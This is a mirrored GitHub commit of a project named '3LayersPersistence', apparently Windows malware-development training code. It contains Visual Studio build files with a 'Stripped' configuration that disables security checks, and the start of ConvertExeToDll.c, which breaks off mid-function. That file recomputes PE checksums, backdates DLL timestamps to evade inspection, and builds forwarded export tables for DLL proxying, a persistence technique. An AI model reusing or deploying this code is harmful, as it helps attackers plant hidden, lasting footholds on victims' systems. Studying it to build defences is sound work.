mirror of
https://github.com/Maldev-Academy/3LayersPersistence
synced 2026-06-06 16:04:36 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36908.2 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "3LayersPersistence", "3LayersPersistence\3LayersPersistence.vcxproj", "{CA309FC7-1D89-487A-9857-BE8EF65AE177}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
Stripped|x64 = Stripped|x64
|
||||
Stripped|x86 = Stripped|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.Build.0 = Debug|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.Build.0 = Debug|Win32
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.ActiveCfg = Release|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.Build.0 = Release|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.ActiveCfg = Release|Win32
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.Build.0 = Release|Win32
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.ActiveCfg = Stripped|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.Build.0 = Stripped|x64
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.ActiveCfg = Stripped|Win32
|
||||
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.Build.0 = Stripped|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {980CB615-CE81-406B-86CE-1FA24352AC65}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,236 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Stripped|Win32">
|
||||
<Configuration>Stripped</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Stripped|x64">
|
||||
<Configuration>Stripped</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{ca309fc7-1d89-487a-9857-be8ef65ae177}</ProjectGuid>
|
||||
<RootNamespace>3LayersPersistence</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>
|
||||
</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>
|
||||
</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
|
||||
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>
|
||||
</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<IgnoreAllDefaultLibraries>
|
||||
</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
|
||||
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="ConvertExeToDll.c" />
|
||||
<ClCompile Include="CrtStubs.cpp" />
|
||||
<ClCompile Include="Main.c" />
|
||||
<ClCompile Include="PersistenceLayers.cpp" />
|
||||
<ClCompile Include="Utilities.cpp" />
|
||||
<ClCompile Include="Utilities\DebugMacros.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Headers.h" />
|
||||
<ClInclude Include="Utilities\DebugMacros.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="CommonUtilities">
|
||||
<UniqueIdentifier>{e116f4f5-8db7-4a12-bdbf-a531ee0c1635}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utilities\DebugMacros.c">
|
||||
<Filter>CommonUtilities</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utilities.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="PersistenceLayers.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ConvertExeToDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CrtStubs.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Utilities\DebugMacros.h">
|
||||
<Filter>CommonUtilities</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Headers.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,659 @@
|
||||
#include "Headers.h"
|
||||
|
||||
|
||||
/*
|
||||
// Example Array
|
||||
static EXPORT_ENTRY g_ExampleExportTable[] =
|
||||
{
|
||||
{ "HelloWorld", (ULONG_PTR)RunMessageBox, 1, NULL }, // named export
|
||||
{ "HeapAlloc", 0x00, 2, "NTDLL.RtlAllocateHeap" }, // named forward
|
||||
{ NULL, (ULONG_PTR)RunMessageBox, 3, NULL }, // ordinal-only (#3)
|
||||
{ "HeapFree", 0x00, 1053, "NTDLL.#1053" }, // forward by ordinal
|
||||
{ NULL, 0x00, 21, "NTDLL.#1053" }, // ordinal-only, forward by ordinal
|
||||
|
||||
{ NULL, 0x00, INVALID_ORDINAL, NULL } // sentinel
|
||||
};
|
||||
*/
|
||||
|
||||
|
||||
static DWORD RvaToFileOffset(IN PIMAGE_NT_HEADERS pNtHdrs, IN DWORD dwRva)
|
||||
{
|
||||
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs);
|
||||
|
||||
for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, pSection++)
|
||||
{
|
||||
if (dwRva >= pSection->VirtualAddress && dwRva < pSection->VirtualAddress + pSection->Misc.VirtualSize)
|
||||
return (dwRva - pSection->VirtualAddress) + pSection->PointerToRawData;
|
||||
}
|
||||
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
|
||||
static DWORD ComputePECheckSum(IN PVOID pFileBuffer, IN DWORD dwFileSize)
|
||||
{
|
||||
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||
PWORD pwWordView = NULL;
|
||||
DWORD dwWordCount = 0x00;
|
||||
DWORD dwChkSumIdx = 0x00;
|
||||
ULONGLONG ullAccumulator = 0x00;
|
||||
|
||||
if (!pFileBuffer || !dwFileSize)
|
||||
return 0x00;
|
||||
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
|
||||
if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
DBG("[!] Invalid PE Headers");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
pwWordView = (PWORD)pFileBuffer;
|
||||
dwWordCount = (dwFileSize + 1) / sizeof(WORD);
|
||||
dwChkSumIdx = (DWORD)((PBYTE)&pNtHdrs->OptionalHeader.CheckSum - (PBYTE)pFileBuffer) / sizeof(WORD);
|
||||
|
||||
for (DWORD i = 0; i < dwWordCount; i++)
|
||||
{
|
||||
// Skip the CheckSum Field Itself
|
||||
if (i == dwChkSumIdx || i == dwChkSumIdx + 1)
|
||||
continue;
|
||||
|
||||
ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16) + pwWordView[i];
|
||||
}
|
||||
|
||||
ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16);
|
||||
return (DWORD)((WORD)ullAccumulator + dwFileSize);
|
||||
}
|
||||
|
||||
|
||||
static DWORD GetDllTimestamp(IN PVOID pFileBuffer, IN DWORD dwFileSize)
|
||||
{
|
||||
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||
FILETIME ft = { 0 };
|
||||
ULARGE_INTEGER uli = { 0 };
|
||||
DWORD dwTimeStamp = 0x00;
|
||||
|
||||
if (!pFileBuffer || !dwFileSize)
|
||||
return 0x00;
|
||||
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
|
||||
uli.LowPart = ft.dwLowDateTime;
|
||||
uli.HighPart = ft.dwHighDateTime;
|
||||
uli.QuadPart -= 116444736000000000ULL;
|
||||
uli.QuadPart /= 10000000ULL;
|
||||
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
|
||||
if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
DBG("[!] Invalid PE Headers");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
#define SECONDS_PER_DAY (60 * 60 * 24)
|
||||
#define DAYS_TO_SECONDS(x) ((x) * SECONDS_PER_DAY)
|
||||
|
||||
dwTimeStamp = pNtHdrs->FileHeader.TimeDateStamp;
|
||||
|
||||
// Make it older by 30 days
|
||||
if (dwTimeStamp > (DWORD)uli.QuadPart || dwTimeStamp < DAYS_TO_SECONDS(30))
|
||||
dwTimeStamp = (DWORD)uli.QuadPart - DAYS_TO_SECONDS(60);
|
||||
else
|
||||
dwTimeStamp = dwTimeStamp - DAYS_TO_SECONDS(30);
|
||||
|
||||
#undef SECONDS_PER_DAY
|
||||
#undef DAYS_TO_SECONDS
|
||||
|
||||
return dwTimeStamp;
|
||||
}
|
||||
|
||||
|
||||
static BOOL BuildExportTableFromDll(IN ULONG_PTR uDllFileBuffer, IN DWORD dwDllFileSize, IN LPCSTR pszCopiedDllName, OUT PEXPORT_ENTRY* ppExportTable, OUT PDWORD pdwExportCount)
|
||||
{
|
||||
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
|
||||
PDWORD pdwFuncRVAs = NULL;
|
||||
PDWORD pdwNameRVAs = NULL;
|
||||
PWORD pwNameOrdinals = NULL;
|
||||
ULONG_PTR uBlobBuffer = 0x00;
|
||||
PEXPORT_ENTRY pEntries = NULL;
|
||||
PBYTE pStrings = NULL;
|
||||
CHAR szModulePrefix[MAX_PATH] = { 0 };
|
||||
CHAR szForwardBuf[MAX_PATH] = { 0 };
|
||||
DWORD dwActualCount = 0x00,
|
||||
dwTotalStringSize = 0x00,
|
||||
dwStringOffset = 0x00,
|
||||
dwEntryIdx = 0x00;
|
||||
HRESULT hResult = S_OK;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if (!uDllFileBuffer || !dwDllFileSize || !pszCopiedDllName || !ppExportTable || !pdwExportCount)
|
||||
return FALSE;
|
||||
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)(uDllFileBuffer + ((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_lfanew);
|
||||
if (((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
DBG("[!] Invalid PE Headers");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
|
||||
{
|
||||
DBG("[!] No Export Directory Found In The Provided DLL Buffer");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Resolve the Array of RVAs, Array of Names, Array of Ordinals Using 'RvaToFileOffset'
|
||||
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
|
||||
pdwFuncRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfFunctions));
|
||||
pdwNameRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNames));
|
||||
pwNameOrdinals = (PWORD) (uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNameOrdinals));
|
||||
|
||||
// Build forward module prefix from the copied DLL name ("dspatial.dll" -> "DSPATIAL")
|
||||
// This prefix is prepended to every forwarded export string ("DSPATIAL.FuncName" / "DSPATIAL.#7")
|
||||
if (FAILED((hResult = StringCchCopyA(szModulePrefix, ARRAYSIZE(szModulePrefix), pszCopiedDllName))))
|
||||
{
|
||||
DBG_HEX_ERROR("StringCchCopyA", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
PathRemoveExtensionA(szModulePrefix);
|
||||
CharUpperA(szModulePrefix);
|
||||
|
||||
// First pass (dry run): To count non-empty slots and total string size needed for the blob
|
||||
for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
|
||||
{
|
||||
if (!pdwFuncRVAs[i])
|
||||
continue;
|
||||
|
||||
WORD wOrdinal = (WORD)(pExportDir->Base + i);
|
||||
LPCSTR pszName = NULL;
|
||||
|
||||
// Walk the name table to find a name for this ordinal index if any.
|
||||
// If not, we use the ordinal
|
||||
for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
|
||||
{
|
||||
if (pwNameOrdinals[j] == i)
|
||||
{
|
||||
pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (pszName)
|
||||
{
|
||||
// Forward string: "MODULE.Name" (exported by name)
|
||||
dwTotalStringSize += (DWORD)lstrlenA(pszName) + 1;
|
||||
dwTotalStringSize += (DWORD)lstrlenA(szModulePrefix) + 1 + (DWORD)lstrlenA(pszName) + 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Forward string: "MODULE.#N" (exported by ordinal)
|
||||
wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
|
||||
dwTotalStringSize += (DWORD)lstrlenA(szForwardBuf) + 1;
|
||||
}
|
||||
|
||||
dwActualCount++;
|
||||
}
|
||||
|
||||
if (!dwActualCount)
|
||||
{
|
||||
DBG("[!] No Export Directory Found In The Provided DLL Buffer");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Allocate a single blob:
|
||||
// [ EXPORT_ENTRY * (dwActualCount + 1) ] +1 for the sentinel terminator entry
|
||||
// [ String Pool: dwTotalStringSize bytes ]
|
||||
HEAP_ALLOC(uBlobBuffer, ((dwActualCount + 1) * sizeof(EXPORT_ENTRY) + dwTotalStringSize));
|
||||
if (!uBlobBuffer)
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
pEntries = (PEXPORT_ENTRY)uBlobBuffer;
|
||||
pStrings = (PBYTE)(uBlobBuffer + (dwActualCount + 1) * sizeof(EXPORT_ENTRY));
|
||||
|
||||
// Second pass: Write EXPORT_ENTRY structs and pack strings into thje allocated blob
|
||||
for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
|
||||
{
|
||||
if (!pdwFuncRVAs[i])
|
||||
continue;
|
||||
|
||||
WORD wOrdinal = (WORD)(pExportDir->Base + i);
|
||||
LPCSTR pszName = NULL;
|
||||
DWORD dwLen = 0x00;
|
||||
|
||||
for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
|
||||
{
|
||||
if (pwNameOrdinals[j] == i)
|
||||
